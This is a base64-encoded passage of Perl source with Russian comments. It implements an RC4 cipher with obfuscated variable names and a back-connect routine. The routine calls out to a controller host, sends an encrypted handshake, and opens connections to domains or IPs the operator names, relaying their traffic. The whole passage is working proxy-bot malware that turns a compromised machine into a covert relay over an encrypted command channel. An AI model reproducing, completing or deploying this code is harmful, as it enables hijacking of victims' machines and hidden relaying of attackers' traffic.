OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
